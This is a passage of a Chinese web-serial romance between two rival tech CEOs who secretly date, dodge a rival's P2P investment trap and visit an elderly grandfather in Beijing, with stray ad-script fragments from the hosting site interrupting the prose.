他的体温比路翎高了不少,贴在他的腰上时却依旧把人吓了一跳。 发热的手心捂得天生体寒的小路总浑身微微颤抖。 两个人什么都没做,只是在车上这么贴着对方。 “宋俶替我们咬了这个鱼饵是好事。”这家伙一边说话,一边居然还有空用右手揉捏起路总的手指,和他十指交叉,慢慢地磨蹭起来。 “接下来的报价会比我们刚刚那个算法的竞争还好看。” 路翎的脸上浮现些许的燥意,他谴责地瞪了一眼商总,对对方的越界行为没有任何评价。 这样毫无攻击力的瞪视落在商赭眼里不用四舍五入都相当于调情。 两个人没有在车上做任何奇怪的事情,反倒是就着这个姿势,聊起了工作上的内容。 “后面的人会吃掉宋俶这个鱼吗?” “不管我们上不上钩,这都是迟早的事情。” 两个人对幕后使者多少都有些猜测,像宋俶这种活跃在台前的都很难跑掉,尤其是以对方公司过去的黑历史,就算想要转移财产到国外潜逃都是一件难事。 对方联合商赭对付路翎,明面上的原因是对雁翎集团瓜分了财富的不爽,但路翎却从中嗅到了不对劲的地方。 昨天晚上那通电话里对方吐露过不少计划,其中不乏会对国内新生而又脆弱的互联网造成严重打击的。 以陈总的角度来看,对方作为中国互联网企业的一份子,起码不应该也不可能想到那种恶毒而又下作、打击全行业未来发展可能性的方法才对。 计划之一就包括了这次的互联网金融投资行业。 对方说得时候没有留把柄,但是言外之意是任何人都能够听懂的。 陈总试图拉拢商赭一起将路翎拉下泥潭的方法之一,就是让商赭诱导路翎蹚进来这摊浑水里面,那些天花乱坠的宣传也都是专门针对路翎所设的——可惜没想到路翎一看做得那么花里胡哨的PPT就完全没了兴趣。 这种新项目风险较大,今年年初投资行业行情普遍不佳,不管是集团公司还是散户个人的投资意向都相当低迷。 宋俶去找陈总做交流的时候偏偏找了个人最多的时候,有他这么一位行业老前辈的背书,这家伙还顺带故意放出了风声说商赭和路翎二人也对此颇感兴趣,愿意掺和进这个项目的人也随之水涨船高。 明灿的短信适时地发了过来,公事上大部分人有的是助理的联系方式,他刚刚得到了短信,今天下午没什么重要会议,那位陈总希望把所有老板们汇聚过去,公开报价。 【?】 路翎忍不住趴在商赭身上笑出了声。 宋俶估计无论如何都不会想到他的这么一番话帮了商赭和路翎两个人一个大忙。 他的这通谎话反而让陈总信心大定,自以为路翎已经入套,在看到了路翎的助理明灿出席时忙不迭地拿着酒杯迎了上去。 明灿连喝了八杯香槟混着红酒,都不上脸,依旧在宴会厅的中心和这群人应酬。 他忍不住看向了另一边,商氏集团的那个助理也和自己一样面对这种该死的劝酒,起码不能喝输给那个家伙。 …… 路翎尚且不知道自己的助理和商赭的助理在宴会厅里较上了劲。 两个人也确实对这个方向感兴趣,可这不代表他们要和冤大头一样把钱砸在一个肉眼可见的圈套上。 “自己做倒是可以考虑一下。” 这种项目如果不是掌握在自己的手里,那无论如何都不可能安得下心。 “我保持我的态度,互联网金融在没有相关法律条例的情况下很容易出事。” “嗯,我已经跟刘老提过了,他们那边也很注意这方面的问题。当年股市经济崩溃带来的影响重大,既然这个陈总在大会上光明正大地提了出来,就注定会被上面的人注意,这方面接下来也肯定会出台相关的政策管控。” 商赭说话时慢条斯理的,手上的动作也没闲着,帮路翎捂热了身体以后,又开始帮忙收拾起刚刚不小心蹭乱的衣领,接着下滑到微微翻起的袖口。 他从一旁的车载储物柜里翻了一下,找到一枚法式袖扣替路翎别上。 颜色刚好和商赭今天打的领带一致。 在试图给路翎凑和自己一样的情侣配饰这方面,商总可谓是颇有心得。 有时候是衣服色系搭配,有的时候是装饰品的呼应,藏得深却又相当的明目张胆,既不会被人怀疑,又能够满足他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 秀恩爱的想法。 路翎靠在商赭身上,一只手拉着他的领带,另一只手按压在商总的心脏上方,侧耳聆听着手下躯体的心脏跳动的声音。 路翎听着商赭的心脏跳动的声音,彼此的心跳都在这样独处的环境下暗自加快了脚步。 “你的车制冷效果不行。”路翎轻声抱怨道。 这么说的话就有点冤枉车了,车里的温度适宜,会显得冷也是路总的体质问题和商总先前作乱的手导致的。 商赭没有说话,反而点了点头,对此很是认可。他认真地谴责了自己的选车目光,目光落在了路翎泛红的耳垂上,也在上面留下了一个牙印。 如果不是制冷不行,为什么他们两个现在会感觉闷热难言,在路翎的手指尖触碰到心脏的那一刻,商赭甚至感觉自己像触电了一样。 毕竟是久别重逢,当然不是一天两天的亲密接触就能解决需求的。 车窗贴了防窥膜,是绝对不会有人窥见后方这一片昏暗的空间,但却偏偏又行驶在道路上,这种禁忌的感觉让多巴胺的分泌速度加快。 也不知道是谁先开始的,大概是从路总伸出手开始,他的手指扣住商总的脑袋,主动地向商赭索求的吻。 车辆的颠簸中,两个人的舌头像是被打了结一样纠缠住彼此。从小游泳肺活量极佳的路总被吻得整个人靠在了商赭的身上。 只不过多少顾忌着这是车内,没有做太过火的动作。 等车辆停下时,两个人下了车,让司机师傅回去。 路翎和商赭一人拿着一袋制作蛋糕的原材料回到了家。 虽然并不常住,但这边的每一个家具都是路翎亲自挑选的。他和商赭一起参与了这处别墅的软装设计和挑选。 就连堆在沙发上的各类玩偶都是路总买来寄给商总的。 厨房空间很大,但商赭却一直贴在路翎的旁边,像是人形自走跟随挂件一样,路翎去哪里他就跟到哪,两个人努力地压缩着彼此的距离。 路翎一转身,手上的面粉就扬起来附着在了商总的衣服上。 高定西装这辈子哪受到过这种委屈。 而商赭也没有放过路翎,他手上沾了水,沾了面粉就糊到了路翎的脸上,十分理直气壮地把堂堂路总画成了小花猫的样子。 两个人战况升级,不一会儿就把彼此都弄得脏兮兮的。 路翎重新洗了手,把商赭推开了一点,认真地将蛋糕模具送进了烤箱。 眼看着周围还有最后一点剩下的面粉,趁商赭不备,路翎直接用沾水的手贴着面粉,点在了对方的侧脸上,给商赭划拉出了同款猫咪胡须的痕迹。 这下是两只猫咪了。 商赭动作停顿,在路翎以为对方要对自己实行某种打击报复的手段之时,单只手将路翎托举了起来,坐到了冰凉的料理台上。 刚刚一阵动作让路翎下意识地双手环抱住了商赭的脑袋,本来还心有戚戚地想要谴责对方的无良行为,但很快就被堵住了一切声响。 ——这怎么不算是商总对路总独有的打击报复呢? 春天到了。 又到了小动物们快乐的季节。 16. 新春座谈会16 在小情侣躲出来过他们的二人世界的时候,难得被要求加班的秦助理枯坐在椅子上,周围围着一圈满脸红光的老板。 他自觉自己只是一个生活助理,在这种场合当中代表是他们公司和老板,说话和做事更要谨言慎行,尤其需要警惕旁边那个商氏集团的生活助理的套话行为。 他不能理解,这种重要的场合,老板是怎么放心大胆地把一切交给他这种新人的。 ……说起来商氏集团怎么也是让他们的生活助理赶鸭子上架过来干活? 明灿助理虽然一开始也在宴会厅内。 但对方刚刚喝了太多酒,不知道什么时候就已经脚底抹油溜之大吉了。 此时此刻还在宴会厅外面发来了短信一则: 【今天的甜点供应挺好吃的,你要是有空可以和商氏集团的生活助理一起出来吃。】 明助理本来在和商氏集团的行政助理较劲,没想到转头就和这人在洗手间里碰上。 两个人假笑着对视了一眼。 他们都收到了来自上司的短信。 商总/路总要求自己做出和雁翎集团/商氏集团做出竞争的样子,但无论如何都不能参与到竞价当中,两个人把握好这个度,卡着点离开了会场。 没想到这也能遇上。 难道雁翎集团/商氏集团也对这个项目没什么兴趣? 两个人不约而同拿起手机,背在身后快速地打出了几个字。 转头又互相假笑了一下,明灿拿过纸巾擦了擦手,礼貌地发出询问:“要不要一起去外面休息休息?”他专门洗了手就是去吃甜点的。 这是在秦助理收到短信之前发生的事情。 好吧,看上去明助理比自己还不靠谱。 大概这也是一种考验吧,锻炼自己能不能独立自主地和其他人应酬的那种。他犹豫地想到。 坐在现在这个隐蔽的位置上的时候,也不是没有人围过来想要从他们的嘴里刺探一下雁翎集团和商氏集团的底细。 商氏集团的那位助理一开始还有心思回应了几句,很快似乎也收到了什么指示短信,在看过以后噌地一下就离开了原位。 徒留下秦助理一个人在原地应付几位老总。 助理们的工作内容原来都是这样的吗? 【你还不来?商氏集团的那个生活助理都过来了,发生了什么情况没法脱身吗?】 秦助理不可置信。 刚刚那个生活助理不是满脸严肃地出去的吗,这家伙原来一脸严肃的表情就是出去吃甜点? 难道说这些甜点真的特别好吃,好吃到必须先吃完再社交的地步?自己如果去晚了会不会已经被抢完了?想到这里,秦助理起身,趁着那位陈总和其他人觥筹交错的时候,同样一脸严肃地快步离开了这个是非之地。 对于在场的老板们而言,现如今的情况就值得深思了。 这个叫做“P2P”的玩意儿到底是个新东西,虽说第一口的螃蟹肉最多,但更多的人却也害怕,这演讲说得天花乱坠,要是自己咬下的时候崩掉了牙可怎么办? 像他们这样打算一上来就组织大规模的资金募集的也仅此一例,风险性极高。 原本听说的商赭和路翎对此感兴趣,可两个人谁也没有冒头,说不准是不是陈总故意放出来迷惑人的消息。 商场上的这些消息真真假假,如果不能分辨清楚就贸贸然地投资,那和把钱拿去打水漂有什么区别。 现在连商氏集团和雁翎集团的几位经常出现的助理们都离开了,难道是察觉到项目有什么问题了吗? 有些墙头草的老板先前听宋俶说这个项目好,就想投资进去,现在发现商赭和路翎两个业内龙头领袖都不来,这部分本就十分纠结、手头资金流也没有那么宽裕的老板们就打起了退堂鼓。 PPT做得再好有什么用?能不能真的拿到手都难说。 抛开能不能吸引过来充足的客户,就是一开始先下了营销手段推广这个所谓的互联网金融项目,积攒够了足够的客户,但这资金的周转运作期间可是分文不挣的。 有店面的人借了钱都不一定能够老老实实地还上,欠钱以后变成了大爷的也不在少数、 这个项目要怎么样才能够落实到位,如果后续资金链发生断裂的情况又要怎么维持运转……这些都是巨大的难题。 只要不是被陈总做出来的精美PPT上面的数据忽悠到掉进钱眼里的人,稍微考虑一下就会清楚这个项目背后的风险有多大。 当然,有些人就是觉得风险越大收益越大,硬要铁了心往里面投钱,这种人的死活也和商赭路翎他们两个人无关。 如果真拦着这种人投钱进去,后面百分百还会日思夜想着:“当时如果我没被劝着不要投那个项目,我现在说不定就已经通过它获利不知道多少钱了。” 说不定还会因此记恨上他们。 商赭懒得说明这一切,但他和路翎两个人都不愿意现身这里就已经是最好的说明。 陈总也不会对此起疑,毕竟如果他们两个人如果真的出现在现场,那只会把相应的价格炒得水涨船高,不出现并不奇怪。 ……只是可惜了,这么多散户的钱没有圈到。 他遗憾地在心里叹了口气,但一想到回头能够吃到雁翎集团这种大鱼,现在这么点损失也就不值一提了。 另一边。 商总和路总的主战场在不知不觉中已经发生了转移。 浴室的花洒喷出热气腾腾的水,路翎累得连手指头都抬不起来。 刚刚两个人在浴室里对着镜子折腾过,现在的路总连镜子里的自己都不太愿意面对了。 他试图伸手捂住脸,却被商赭攥住了手腕。 路总不满地转过头,又忍不住在商总的肩膀上加深了一下先前的咬痕,试图用把脑袋埋在商赭的肩膀上逃避两个人刚刚所做的一切。 连续好几天的运动还是让宅男的路总多少有些吃不消了。 商赭这家伙的体力是无底洞吗? 明明这几天一直都是待在一起的。 为什么自己累得连手指都不想动,这家伙居然还能够这么神采奕奕。 路翎眼神空洞,感觉人生了无希望。 商总好心地把他抱起来,自觉非常精疲力尽的路翎被商赭抱回到浴缸里清洗。 不知道什么时候放满了热水的浴缸让人恨不得在里面昏睡过去。 路翎趁机在对方的怀抱里颐指气使。 “今天真的不许再弄了。” “你、你不许摸我腰!” “待会儿洗完 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以后你帮我穿衣服,我手臂好累啊。” 路总抱怨说得堪比撒娇,商赭只得任劳任怨,帮柔弱的路总擦干净了身体,替他换上了睡衣,没有再做出任何越界的行为。 只不过转头这人又进了一趟洗手间。 路翎心如止水地躺在床上,已经完全没有了帮男朋友解决的想法。 人和打桩机的区别就在于人是需要休息的。 这个世界上真的有被耕坏的地。 受不了,真的受不了。 他在商赭出来以后奋力地卷着被子滚到了床的一侧,把自己卷成了一个看着就很美味的花卷,试图通过让商赭没有被子盖来表达自己的强烈抗议。 “起码今天晚上不能继续了。”他嘴硬地说道。 虽然男人不能说不行,但是小路总对自己的体能还是很有自知之明的。 商赭没有说好也没有说不好,穿着睡袍坐在路翎的身侧,把小路总身上的被子稍微一拽,路翎就这么丝滑地又卷着被子躲到了另一边。 好玩。 路翎知道自己这么干有点小学生行径。 但是在豪华大床上打滚本来就是很让人满足的事情。 虽然有点久,但商赭还记得先前送进厨房烤炉里的蛋糕,他戴上了棉质的手套,把小蛋糕从烤炉里抬了出来。 新鲜出炉的小蛋糕上还冒着热气,被忘在烤炉里没拿出来太久,上面的那层酥皮也逐渐往下塌缩了一些,只是看起来不太好看,实际上还是很好吃的。 两个人你一口我一口地分享完了这个卖相不佳的蛋糕,这才注意到了手机里助理们的信息。 最后愿意去和陈总进行签约的只有今天在场的人数中的五分之一不到,远远低于宋俶和陈总两个人的心理预期。 明灿在摸鱼的时候,意外撞见了宋总气急败坏教育手下的现场。对方怎么也没想到自己如此慧眼如炬投资的项目,居然遭遇到了全场的冷遇。 明明这些人会来参加这个宴会就应该是对它有兴趣的才是! 可最后成交者却寥寥无几! 明助理兴致勃勃地转述着: 【宋总以为宴会厅外就他一个,指着手下的鼻子就破口大骂,说什么“你们难道没有把商氏集团和雁翎集团打算投资的消息散播出去?”“我养你们这些废物干什么吃的!”之类的内容,我和小秦他们几个就猫在甜点台那里吃东西都没发现我们。】 就连一开始提出了这个项目的陈总都有些意外,他们做的PPT上面的数据都是美化过的,每一个明明都应该抓住了同行们的痛点才对,可他们居然这都能忍住不投资? 明明宋俶都被他忽悠进来了,其他人更应该对此深信不疑才对。 他隐约感觉有些不对,幸运的是,互联网金融并非是他们唯一的计划方案,后续有不少项目,雁翎集团不可能一个都不上套。 他暗自思忖着。 这个结果当然在路翎的预计范围内,几百号人里总是要多少出一些自诩有眼光的人和一群跟风前者的人。 他回复了个“1”表示收到,抬头看向商赭那边:“明天我们去爷爷那里打个招呼?毕竟我过几天也快回去了。” 难得来北京一趟,来都来了,大过年的,自己不主动拜访一下长辈就太说不过去了。 17.新春座谈会17 晚上终于被难得放了一次假,小路总和商赭两个人睡在同一张床上。 睡相不佳的小路总一觉醒来发现自己像八爪鱼一样缠在了商赭的身上。 商总倒是大清早就睡醒了,这家伙心机很深,一觉睡醒就蹑手蹑脚地下了车洗漱,随后又把自己塞进了被窝里面,把睡得迷迷糊糊的小路总冻得哆嗦了一下。 阳光顺着白色的窗纱洒落在屋内,路翎感觉有些闷热,努力从被子地桎梏里挣扎了一会儿,和手脚冰凉的商总贴上以后再度扒拉了上来。 冰冰凉凉的,好舒服。 他眯着眼睛,终于在生物钟的作用下睁开了眼睛。 商赭和自己的距离甚至不到五厘米,对方的一只手还贴在自己的脸颊上。 “早安。”商赭冲路翎眨眨眼,被路翎逮到现场,他也毫无心虚之情,理直气壮地凑过来亲了一口。 这家伙刚刚肯定在干什么坏事,现在才会这么心虚。 路翎充满报复性地往商赭的下巴处啃了一下。 洗漱出来以后才发现外面不知道什么时候已经下了有一阵的雪。 作为穗城人,他看到雪的第一反应当然是兴奋。刚刚要兴师问罪的事情立刻被路总抛在了脑后。 他从衣柜里顺手拿了件属于商赭的大衣披在身上,围了条浅白色的围巾,就兴致勃勃地扑到了花园的雪地里去。 这雪应该是后半夜下的,不算厚,底下的还没冻硬。 商赭适时地递来了手套,防止冻到路总金贵的手指。 在大雪的蛊惑下,路翎忍不住坐到了地板上,试图堆出一个超级迷你的小雪人。 “这种雪是堆不出来雪人的。” 商赭站在边上,他打着伞,没有加入玩闹当中,猜到路翎要玩上好一会儿,于是把暖宝宝塞进了他口袋里,蹲在了难得玩心大起的路总身边,帮对方遮挡住了飘落的雪花。 两个人凑在一起,似乎也没有那么冷了。 小路总不信邪地又试了几次,可惜这些雪完全没有粘性,刚一松手就散了。 折腾了半天,总算是捏出了两个表面凹凸不平的球体,把它们上下一按,一个看上去更为简陋的雪人雏形就这么完成了。 纽扣对于这个雪人来说都有些太大了,再怎么勉强也都做不了这个小雪人的眼睛。 路翎有些垂头丧气,只见商赭从一旁的地面上翻找了一下,终于找到了一对黑色的圆形石头往上一按。 小路总兴高采烈地转头:“看!成功了!” 刚刚谁说这种雪堆不出雪人的!谁说的! 他得意洋洋地抬起头,发丝被风吹得有稍许凌乱,眼睛闪闪发亮地盯着商赭,试图让后者给个说法。 两个人四目相对,路翎和商赭默契地击了一下掌。 “嗯嗯,我们小路好棒。”注意到路翎的围巾有些松散,容易被风吹着凉,商赭下意识地伸出手去替小路总系好,却没想到路翎此时此刻并不只是想要炫耀自己的小雪人。 说时迟那时快,早已等候多时的小路总从雪地里捧起新雪,往商赭的脖子处一灌——他可还没忘记睡醒那个时候商赭贴在自己脸上冻自己的手呢。 商总黑色的围巾瞬间冰凉一片。 雪点蹭到了他的衣服和头发上,又变成了点点水珠。 他自然不肯善罢甘休,在路翎试图拔腿就跑的时候三两步追上,将自己的手指戳到了路总的围巾里面。 冰冷的手指冻得路翎猛地一个缩头,脸也跟着被冰到。 “嘶——” 两个人打闹了半天,有些筋疲力尽地坐在花园的一处台阶上。 路总弯了弯眉毛,扯住商赭的围巾,后者从善如流地被拉到路翎的身前,然后是一个正式的早安吻。 “早安。”路翎笑眯眯地说道。 商赭将他压在台阶上,一只手抵住下面容易磕到头的台阶,顺势加深了这个吻。 换气并不及时的路翎急忙捶了捶商赭的胸口,试图推开对方。 草原上吃饱喝足的猎豹在品尝过自己的早餐以后总是格外好说话。 商赭餍足地说道:“早。” 没忘记今天的行程,两个人换了一身干净的衣服,拿上了准备带给老人家的礼物,商总充当了一下司机,路总就坐在副驾驶座上,路上还买了一份早餐。 京城路边店铺里的老板并不认识什么南边来的路总,但看在对方说话嘴甜、又说自己是南边来的份上,额外还多送了一份本地的特产饮料。 “这玩意儿我听说很久了。”路翎深沉地看着眼前被激情推荐的当地美食。 豆汁。 传说中外地游客来京城都必须品尝的饮品。 如果没有来京城品鉴过豆汁,根本不能被称之为来京城旅游过! 此前路翎都没有尝试过,因为商赭说豆汁是一种连他一个本地人都不是很能够接受的存在,拦着不让路翎尝试。 对此,小路总嗤之以鼻,商总这人在京城待的时间也就几年,大多数时候都在世界各地漂泊,喝癍痧都要捏着鼻子,承受能力肯定不如自己。 灰绿色的饮品散发着诡异的气味。 路翎跃跃欲试。 商赭在看到他拎着什么东西坐上车以后大惊失色,却架不住路翎已经面不改色地拿起吸管插进去喝了一大口。 ……有点怪,但是好像还行。其实就是发酵物的味道。 商赭看着他喝了一口、喝了两口、咕嘟咕嘟几下喝完了一整杯的豆汁。 商赭不能理解,商赭肃然起敬。 “走吧。”路总系好了安全带,理直气壮地说。 道路上的积雪不多,但两个人开得缓慢,幸亏这个点并不是上下班的高峰时间段,路翎看着窗外的雪景。 车里放的是路翎06年时买的碟片,两个人有一搭没一搭地哼着歌,开着车慢悠悠地看着早晨的北京。 “谁都只得那双手/靠拥抱亦难任你拥有。”(注1) 路翎下意识地在下一句歌词响起时看向了商赭,在一个红灯路口,两个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人伸出手牵住了彼此,短暂的三秒钟时间又很快松开。 也不知道是不是因为今天的雪太大,路上的车反而比前两天少了许多,车辆在这座城市里近乎畅行无阻,一路开到巷子外就停下了,商赭看把车停进去不方便,让小路总下了车,自己绕开去找了个车位停下。 商家只剩下商老爷子一个人住在巷子里的四合院内,平常就喜欢自己一个人打扫一整个屋子,说是锻炼身体,只留了几个帮忙照看身体的帮佣。 路翎下了车,手里拎着大包小包的过年礼物。 附近的屋檐上骤然窜出了好几只小猫,都是平常散养在这边的,也不知道是不是身上安了什么雷达,每一次路翎出现在巷子里,都精准地跑出来,平常高冷不让人靠近的猫猫们,一到路翎出现,各个谄媚地对着小路总“咪咪咪”地叫,声音那叫一个百转千回。 更有甚者直接一个跳扑,优雅精准地落地到了路翎旁边的雪地里,用自己柔软洁白的肚皮疯狂地蹭起路翎的鞋背。 院子里的猫不是做了绝育吗? “雪雪、踏春、花花、大橘,早上好啊。”他挨个摸过了猫猫们油光水滑的后背,无奈地说道,“今天吃的在商赭那里哦,抱歉抱歉。” “咪咪咪——”小猫咪委委屈屈,小猫咪超大声地说。 路翎无奈,又挨个摸了一遍,这才成功地抽起脚走到了门边。 他从小就动物缘极佳,走在路上会被小猫咪碰瓷都已经成为了习惯,更何况这几只猫确实也被他帮忙喂过几天,现在更是黏人黏得不得了,大橘甚至试图用自己的体重优势让他动弹不得。 于是路总只能将完全不符合自身气质的橘猫抱在了怀里。 一旁其他的猫猫们气坏了,对着大橘疯狂哈气。 好你个橘猫,本来以为你是要帮忙留住这个花心的人类,没想到这家伙心眼子这么多,直接抢了人类身上最适合猫猫躺着休息的位置。三花的猫叫声极具穿透力,而且从大橘的表现上来看估计还骂得很脏。 “我刚刚是不是听到了猫叫声。” 屋内传来了附近的几位邻居们的声音。 大门处装了个人脸识别的保险,系统就是路翎开发的,也不用麻烦别人帮忙开门。 “是吧,这些猫估计是来看嘤嘤的。也是奇了怪了,不是说猫和鸟是天敌吗,这猫不抓鸟这鸟不怕猫的,那几只猫还时不时给我家嘤嘤带果子之类的,关系居然能这么好。” 院子里的雪都被扫到了边上,只见商爷爷优哉游哉地靠在竹编的躺椅上,他左边的架子上摆着个红花梨木做的鸟笼,整个人看上去气定神闲,此时正在对他眼前两个正在下棋的老人家指指点点,还时不时扯上一句对自家小鹦鹉的炫耀。 被指指点点的老爷爷没注意到后方来人,被烦得不行,不由得面露嫌弃地说:“嗨!您这棋看得真不地道,人都说观棋不语真君子,您搁这儿叭叭半天了,没完了是吧。” “就您这臭棋篓子,我不说估计早没了吧?——哦哟!看看,谁来了!” 18.新春座谈会18 路翎从屏风后面探出了脑袋,和几位长辈们一一打起了招呼。 刚刚还在指指点点的商爷爷心底也知道自己的行为有些容易挨打,看见路翎进门,迅速地岔开了话题。 后者本来想用拐杖敲一下地板,听见路翎来了的消息,迅速地转过了身,冲难得来一趟的小路同志挥了挥手。 一旁笼子里蹦蹦跳跳的小鹦鹉适时喊了起来:“欢迎光临!欢迎光临!欢迎回家!欢迎回家!” 它努力地贴到门边,试图离路翎所在的位置再近一点。 鹦鹉的小动作被附近的老人家们看在眼里,一个个忍不住指指点点起来。 “看看,看看,嘤嘤也就看到小路过来了才这么积极了。” 商爷爷起身,把笼子打开,把扑棱着翅膀的鹦鹉放了出来。 嘤嘤是这只小鹦鹉的名字。 这只聪明的小鹦鹉不剪羽也不牵绳,却从来没有乱飞过,开了木笼子散养也会乖乖巧巧地在人类的手心上蹦跶。 平日里,它和邻里的动物们关系相处极为融洽,也没被猫猫狗狗或者其他的什么鸟类们欺负过。 这不是什么名贵的鹦鹉,但在这一片巷子里,就属它会的各类贯口最多,也没有什么脏口,搞得附近的街坊邻居们都羡慕商老爷子,隔三岔五就要过来这边做客看看聪明小鸟。 这一切都是拜眼前这位小路同志所赐。 周围的几位老人家看向路翎的眼神都变得有些狂热了起来。 虽然小路同志最近几年来的次数不多,但之前读大学时经常过来,当时在他们这片里算是有名的万物迷,只要是小动物见了他,就没有一个能走得动道的,原本不会说的贯口小路教的话一次就会。 最关键的是对方尊敬长辈,对老人家们都很有耐心。 这样的小年轻谁不喜欢? “下午好呀。”路翎把那只胖乎乎的大橘放回到了地上,后者委屈巴巴地一个甩尾,跳到了一位老人家附近,没有贸贸然跳上老奶奶的大腿,而是蹭到了她的腿边。 老奶奶伸出手,在大橘油光水滑的皮毛上摸了一圈,在桌子上找了一些猫咪能吃的食物丢给了大橘。 而路翎则习以为常地接住对自己直冲而来的小鸟,伸手在小鹦鹉的头顶上摸了两把。 这只小鹦鹉身披着蓝白色的尾羽,看上去就像是融进了日光与大雪之中,歪头看向人类的时候更增添了几分可爱。 它舒舒服服地躺在路翎手指下,被路翎点了好几下脑袋以后,又忍不住轻轻啄了啄他的手心表示喜爱。 附近的猫猫们早已和这只小鹦鹉结成伙伴关系,见到它出笼子,猫猫们先是和炮弹一样冲过来蹭蹭小路总的大腿,接着围着路翎呼唤了起来。 “咪咪!”“叽叽叽!” 几只小动物仿佛在用人类听不懂的加密语言进行着交流。 在众多小猫们的呼吁下,小鹦鹉这才让出了位置,扑扇着翅膀飞起,在空中缓慢地滑翔了一会儿,精准地降落到了大橘的头上。 大橘不满地“咪咪”叫着,听上去就骂的很难听的样子。 路翎谦逊地和在场所有长辈们挨个问了好,这附近的邻居们大多数都是早年对国家有贡献的老人,保密意识一流,并不用担心他们对外泄露任何信息。 平日里聊的都是谁家猫猫打了谁家的狗,最近的一个菜市场近期在搞什么促销。 在这里,路翎完全不用担心自己和商赭关系融洽的事情暴露给外界。 贺爷爷平常就喜欢跟人忆往昔峥嵘岁月稠,最爱讲的就是自己当年年纪轻轻就参加了对外自卫反击战的光辉历史,其他老人家几十年如一日耳朵都听出茧子了,这么多年来也就路翎一个无论听几次都能听得津津有味的,看到路翎来了,贺爷爷当即招呼他过来。 路翎先把自己从穗城带来的茶叶放到几位长辈的手边,又掏出来一个小袋子,说:“新年好呀爷爷,这是您最爱的凤凰单枞,奶奶,上次您问我要的烤饼干配方我后来又改了下,这个新口味您可以试试。” 这个年纪的老人家牙口不好,路翎也是研究了很久才找到如何把饼干做成老人家也能吃的程度。 “小路你看看你,来都来了,还带什么礼物啊……哦对,新年的红包拿了没有呀,等着,我给你发个大红包。” 路翎每年都能固定从男朋友家的邻居和亲戚手里收一笔大红包。 值得备注的一点是,里面装的可不是5元纸币或者一张彩票。 “谢谢爷爷,爷爷新年快乐。”路翎乍一捏这个厚度,少说应该是十张以上。 虽然这点钱对于小路总来说是一笔小钱,但到了他这个年纪还能一直被长辈们发红包也是一件很开心的事情。 小路同志忍不住咳了一下,想要推辞,但是势单力薄的他在这场红包拉扯战中抵不过经验更加老练的长辈们,成功地把红包揣进了自己的衣兜里面。 还好,商赭准备的这件大衣外套容量不错。 也不知道是不是被冷风吹得冻到,小路总耳垂有些泛红。 商爷爷拍了拍他的手臂,调笑地说:“小路每次都只会给我带茶叶,我这都快喝不完了。” 话是这么说,不过老人家脸上的笑意还是很明显的。 “不爱喝别喝了,小路,把茶叶给我,我爱喝。” “小路每次都记得住你顺口一提想要喝什么品种的茶叶你就知足吧,不像我那孙子,每次回来都是空手。不要给我!” “哎哎哎,这是我们家小路送的礼物,你们别抢啊,抢什么抢。”商爷爷立刻伸手护住了自己的茶叶罐罐。 今天的风不大,几个长辈生了火在院子里,围着炉子煮着热水。 雪花在空中轻盈飞旋,却恰好成了路翎头发上的晶莹点缀。 看到路翎头发上都沾了点雪花,商爷爷又赶紧拉着他躲在了屋檐下的椅子上坐着。 “嗨,我跟你们说,我家那个败家子儿……”几个邻居互相念叨起他们这个年纪颐养天年的不易。 相比之下,儿孙都十分出息的商爷爷也遭 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到了众人的一阵嫉妒。 聊着聊着,去停车的商赭也到了。 “爷爷,你看到小路就装看不见我了是吧。”他今天穿得也很单薄,从一而终地贯彻了“要风度不要温度”的打扮。 不像路翎一样,穿了大衣又嫌不够,额外套了件毛茸茸的外套,把自己裹成了一颗洋葱似的。 商总双手插兜,看上去充满了资本家意气风发的气势,下一秒就被商爷爷果断地打了一下手臂,疾声厉色道:“长辈们面前双手插兜干吗,好的不学学那些街溜子是吧。” 【手套早上借给你戴了。手好冷哦。请问亲爱的路总可以帮我捂一捂我冰冷的手吗。】 手机里跳出了商赭的信息。 路翎忍不住回头看了一眼,牵住了商赭的手,把他的手放在自己的口袋里捂住。 没想到商总的心机十分深沉,居然借着这个机会,直接靠在了路总的肩膀上。 非常得寸进尺。 嘤嘤在大橘的头顶上蹦跶了几下,见状,急忙飞起来抢占了路翎肩膀的另一侧。 路翎忍不住伸出手掐了掐商赭的腰,飞着眼刀,默不作声地用手机发短信进行质问。 【爷爷奶奶们都在这里!】 【他们又不是不知道我们的关系。】 商赭故意端出一本正经的样子直起身,但是小尾指却偷偷蹭了蹭路翎的手掌心。 路翎下意识地抬头,想要抽回手却又被商赭握住,他本能地抿唇,心虚地看向了周围。 小猫咪们“咪呜咪呜”地叫着,躺在雪地里试图和人类玩捉迷藏的游戏。 商赭和路翎吃过了午餐,和几位老人家又聊了会儿天。 难得的一个周末闲暇午后就这么度过了。 享受着午后温暖而又舒适的阳光,路翎靠在商赭的肩膀上,好不容易磨磨蹭蹭享受了一下午间时光,明助理的一个电话打来却让路翎瞬间变了脸色。 他沉下脸,非常抱歉地和各位长辈们道歉:“公司那边临时有事,今天临时得先走,爷爷奶奶们再见,下次再来看各位。” 商赭同样起身,却被路翎摆摆手拒绝,他要赶去雁翎集团在京城的分部,怎么敢坐商赭的私人车出行。 那不是分分钟被发现吗? 他一路小跑到路口,打了一辆路过的的士就走。 雁翎集团的分部刚刚传来消息,明助理今天本来是要和先前的那位庄老板洽谈生意,到了分部视察却发现有重大问题。 电话里,明助理简明扼要地把分部这边存在的各类管理情况都概述了一遍,大概是仗着天高皇帝远的因素,这边有几个项目的负责人手脚很不干净。 上了车,司机问了定位,在得知路翎是要去雁翎集团以后立刻把他理解成了雁翎集团的员工,大概是这类职业见人说人话的通性,对方很快地就和路翎搭话聊起了关于商氏集团的八卦。 “欸,小伙子,你是雁翎的?应该也听说过商氏集团那个老板偷偷跑路去国外,资产全部转移了的消息了吧?” 19.新春座谈会19 等等? 谁? 商氏集团的老板? 对方说的是商赭吗? 路翎原本的怒气忽然被司机地这么一番话所打断,他不可思议地抬起头看向司机,重复问道:“商氏集团的老板偷偷跑路到国外?还转移了资产?” 这是什么新的都市谣言吗? 